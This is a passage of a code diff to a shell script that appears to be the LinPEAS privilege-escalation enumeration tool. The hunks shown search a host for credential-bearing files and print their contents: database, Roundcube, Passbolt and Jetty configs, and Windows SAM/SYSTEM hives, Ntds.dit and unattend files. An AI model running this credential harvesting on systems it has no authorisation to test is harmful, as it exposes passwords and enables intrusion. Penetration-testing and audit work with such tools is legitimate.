| sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";find "$f" -name "check_all_pages" | while read ff; do ls -ld "$ff" | sed -${E} "s,check_all_pages,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "database_pw|database_user|database_pass|database_type|database_default|detabase_hostname|database_port|database_ssl" | sed -${E} "s,database_pw.*|database_user.*|database_pass.*,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_ROUNDCUBE" ] || [ "$DEBUG" ]; then print_2title "Analyzing Roundcube Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_ROUNDCUBE\" | grep -E \"roundcube$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "roundcube"; fi; fi; printf "%s" "$PSTORAGE_ROUNDCUBE" | grep -E "roundcube$" | while read f; do ls -ld "$f" | sed -${E} "s,roundcube$,${SED_RED},"; find "$f" -name "config.inc.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.inc.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "config\[" | sed -${E} "s,db_dsnw,${SED_RED},g"; done; echo "";done; echo ""; + if ! [ "`echo \"$PSTORAGE_ROUNDCUBE\" | grep -E \"roundcube$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "roundcube"; fi; fi; printf "%s" "$PSTORAGE_ROUNDCUBE" | grep -E "roundcube$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,roundcube$,${SED_RED},"; find "$f" -name "config.inc.php" | while read ff; do ls -ld "$ff" | sed -${E} "s,config.inc.php,${SED_RED},"; cat "$ff" 2>/dev/null | grep -IEv "^$" | grep -E "config\[" | sed -${E} "s,db_dsnw,${SED_RED},g"; done; echo "";done; echo ""; fi if [ "$PSTORAGE_PASSBOLT" ] || [ "$DEBUG" ]; then print_2title "Analyzing Passbolt Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_PASSBOLT\" | grep -E \"passbolt\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "passbolt.php"; fi; fi; printf "%s" "$PSTORAGE_PASSBOLT" | grep -E "passbolt\.php$" | while read f; do ls -ld "$f" | sed -${E} "s,passbolt\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "host|port|username|password|database" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_PASSBOLT\" | grep -E \"passbolt\.php$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "passbolt.php"; fi; fi; printf "%s" "$PSTORAGE_PASSBOLT" | grep -E "passbolt\.php$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,passbolt\.php$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -E "host|port|username|password|database" | grep -Ev "^#" | sed -${E} "s,[pP][aA][sS][sS].*|[uU][sS][eE][rR].*,${SED_RED},g"; done; echo ""; fi if [ "$PSTORAGE_JETTY" ] || [ "$DEBUG" ]; then print_2title "Analyzing Jetty Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_JETTY\" | grep -E \"jetty-realm\.properties$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "jetty-realm.properties"; fi; fi; printf "%s" "$PSTORAGE_JETTY" | grep -E "jetty-realm\.properties$" | while read f; do ls -ld "$f" | sed -${E} "s,jetty-realm\.properties$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_JETTY\" | grep -E \"jetty-realm\.properties$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "jetty-realm.properties"; fi; fi; printf "%s" "$PSTORAGE_JETTY" | grep -E "jetty-realm\.properties$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,jetty-realm\.properties$,${SED_RED},"; cat "$f" 2>/dev/null | grep -IEv "^$" | grep -Ev "^#" | sed -${E} "s,.*,${SED_RED},g"; done; echo ""; fi @@ -3408,79 +4115,93 @@ fi if [ "$PSTORAGE_INTERESTING_LOGS" ] || [ "$DEBUG" ]; then print_2title "Analyzing Interesting logs Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"access\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "access\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,access\.log$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"error\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "error.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "error\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,error\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"access\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "access.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "access\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,access\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_INTERESTING_LOGS\" | grep -E \"error\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "error.log"; fi; fi; printf "%s" "$PSTORAGE_INTERESTING_LOGS" | grep -E "error\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,error\.log$,${SED_RED},"; done; echo ""; fi -if [ "$PSTORAGE_WINDOWS_FILES" ] || [ "$DEBUG" ]; then - print_2title "Analyzing Windows Files Files (limit 70)" - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattend\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattend\.inf$" | while read f; do ls -ld "$f" | sed -${E} "s,unattend\.inf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"\.rdg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.rdg"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "\.rdg$" | while read f; do ls -ld "$f" | sed -${E} "s,\.rdg$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"AppEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AppEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "AppEvent\.Evt$" | while read f; do ls -ld "$f" | sed -${E} "s,AppEvent\.Evt$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"ConsoleHost_history\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ConsoleHost_history.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "ConsoleHost_history\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,ConsoleHost_history\.txt$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"FreeSSHDservice\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreeSSHDservice.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "FreeSSHDservice\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,FreeSSHDservice\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"NetSetup\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "NetSetup.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "NetSetup\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,NetSetup\.log$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"Ntds\.dit$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Ntds.dit"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "Ntds\.dit$" | while read f; do ls -ld "$f" | sed -${E} "s,Ntds\.dit$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"protecteduserkey\.bin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "protecteduserkey.bin"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "protecteduserkey\.bin$" | while read f; do ls -ld "$f" | sed -${E} "s,protecteduserkey\.bin$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"RDCMan\.settings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "RDCMan.settings"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "RDCMan\.settings$" | while read f; do ls -ld "$f" | sed -${E} "s,RDCMan\.settings$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"SAM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SAM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "SAM$" | while read f; do ls -ld "$f" | sed -${E} "s,SAM$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"SYSTEM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SYSTEM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "SYSTEM$" | while read f; do ls -ld "$f" | sed -${E} "s,SYSTEM$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"SecEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SecEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "SecEvent\.Evt$" | while read f; do ls -ld "$f" | sed -${E} "s,SecEvent\.Evt$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"appcmd\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "appcmd.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "appcmd\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,appcmd\.exe$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"bash\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bash.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "bash\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,bash\.exe$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"datasources\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "datasources.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "datasources\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,datasources\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"default\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "default.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "default\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,default\.sav$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"drives\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "drives.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "drives\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,drives\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"groups\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "groups.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "groups\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,groups\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"https-xampp\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https-xampp.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "https-xampp\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,https-xampp\.conf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"https\.conf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "https.conf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "https\.conf$" | while read f; do ls -ld "$f" | sed -${E} "s,https\.conf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"iis6\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "iis6.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "iis6\.log$" | while read f; do ls -ld "$f" | sed -${E} "s,iis6\.log$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"index\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "index.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "index\.dat$" | while read f; do ls -ld "$f" | sed -${E} "s,index\.dat$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"my\.cnf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.cnf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "my\.cnf$" | while read f; do ls -ld "$f" | sed -${E} "s,my\.cnf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"my\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "my.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "my\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,my\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"ntuser\.dat$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ntuser.dat"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "ntuser\.dat$" | while read f; do ls -ld "$f" | sed -${E} "s,ntuser\.dat$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"pagefile\.sys$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "pagefile.sys"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "pagefile\.sys$" | while read f; do ls -ld "$f" | sed -${E} "s,pagefile\.sys$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"printers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "printers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "printers\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,printers\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"recentservers\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "recentservers.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "recentservers\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,recentservers\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"scclient\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scclient.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "scclient\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,scclient\.exe$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"scheduledtasks\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "scheduledtasks.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "scheduledtasks\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,scheduledtasks\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"security\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "security.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "security\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,security\.sav$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"server\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "server.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "server\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,server\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"setupinfo$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "setupinfo$" | while read f; do ls -ld "$f" | sed -${E} "s,setupinfo$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"setupinfo\.bak$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "setupinfo.bak"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "setupinfo\.bak$" | while read f; do ls -ld "$f" | sed -${E} "s,setupinfo\.bak$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sitemanager\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sitemanager.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sitemanager\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,sitemanager\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sites\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sites.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sites\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,sites\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"software$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "software$" | while read f; do ls -ld "$f" | sed -${E} "s,software$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"software\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "software.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "software\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,software\.sav$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sysprep\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sysprep\.inf$" | while read f; do ls -ld "$f" | sed -${E} "s,sysprep\.inf$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"sysprep\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "sysprep.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "sysprep\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,sysprep\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"system\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "system.sav"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "system\.sav$" | while read f; do ls -ld "$f" | sed -${E} "s,system\.sav$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattend\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattend\.txt$" | while read f; do ls -ld "$f" | sed -${E} "s,unattend\.txt$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattend\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattend\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,unattend\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"unattended\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattended.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "unattended\.xml$" | while read f; do ls -ld "$f" | sed -${E} "s,unattended\.xml$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"wcx_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wcx_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "wcx_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,wcx_ftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"ws_ftp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ws_ftp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "ws_ftp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,ws_ftp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"web.*\.config$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "web*.config"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "web.*\.config$" | while read f; do ls -ld "$f" | sed -${E} "s,web.*\.config$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"winscp\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "winscp.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "winscp\.ini$" | while read f; do ls -ld "$f" | sed -${E} "s,winscp\.ini$,${SED_RED},"; done; echo ""; - if ! [ "`echo \"$PSTORAGE_WINDOWS_FILES\" | grep -E \"wsl\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "wsl.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS_FILES" | grep -E "wsl\.exe$" | while read f; do ls -ld "$f" | sed -${E} "s,wsl\.exe$,${SED_RED},"; done; echo ""; +if [ "$PSTORAGE_WINDOWS" ] || [ "$DEBUG" ]; then + print_2title "Analyzing Windows Files (limit 70)" + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"unattend\.inf$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "unattend.inf"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "unattend\.inf$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,unattend\.inf$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"\.rdg$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "*.rdg"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "\.rdg$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,\.rdg$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"AppEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "AppEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "AppEvent\.Evt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,AppEvent\.Evt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"ConsoleHost_history\.txt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "ConsoleHost_history.txt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "ConsoleHost_history\.txt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,ConsoleHost_history\.txt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"FreeSSHDservice\.ini$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "FreeSSHDservice.ini"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "FreeSSHDservice\.ini$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,FreeSSHDservice\.ini$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"NetSetup\.log$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "NetSetup.log"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "NetSetup\.log$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,NetSetup\.log$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"Ntds\.dit$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "Ntds.dit"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "Ntds\.dit$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,Ntds\.dit$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"protecteduserkey\.bin$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "protecteduserkey.bin"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "protecteduserkey\.bin$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,protecteduserkey\.bin$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"RDCMan\.settings$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "RDCMan.settings"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "RDCMan\.settings$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,RDCMan\.settings$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SAM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SAM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SAM$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SAM$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SYSTEM$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SYSTEM"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SYSTEM$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SYSTEM$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"SecEvent\.Evt$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "SecEvent.Evt"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "SecEvent\.Evt$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,SecEvent\.Evt$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"appcmd\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "appcmd.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "appcmd\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,appcmd\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"bash\.exe$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "bash.exe"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "bash\.exe$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,bash\.exe$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"datasources\.xml$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "datasources.xml"; fi; fi; printf "%s" "$PSTORAGE_WINDOWS" | grep -E "datasources\.xml$" | while read f; do ls -ld "$f" 2>/dev/null | sed -${E} "s,datasources\.xml$,${SED_RED},"; done; echo ""; + if ! [ "`echo \"$PSTORAGE_WINDOWS\" | grep -E \"default\.sav$\"`" ]; then if [ "$DEBUG" ]; then echo_not_found "default.sav"; fi; fi; 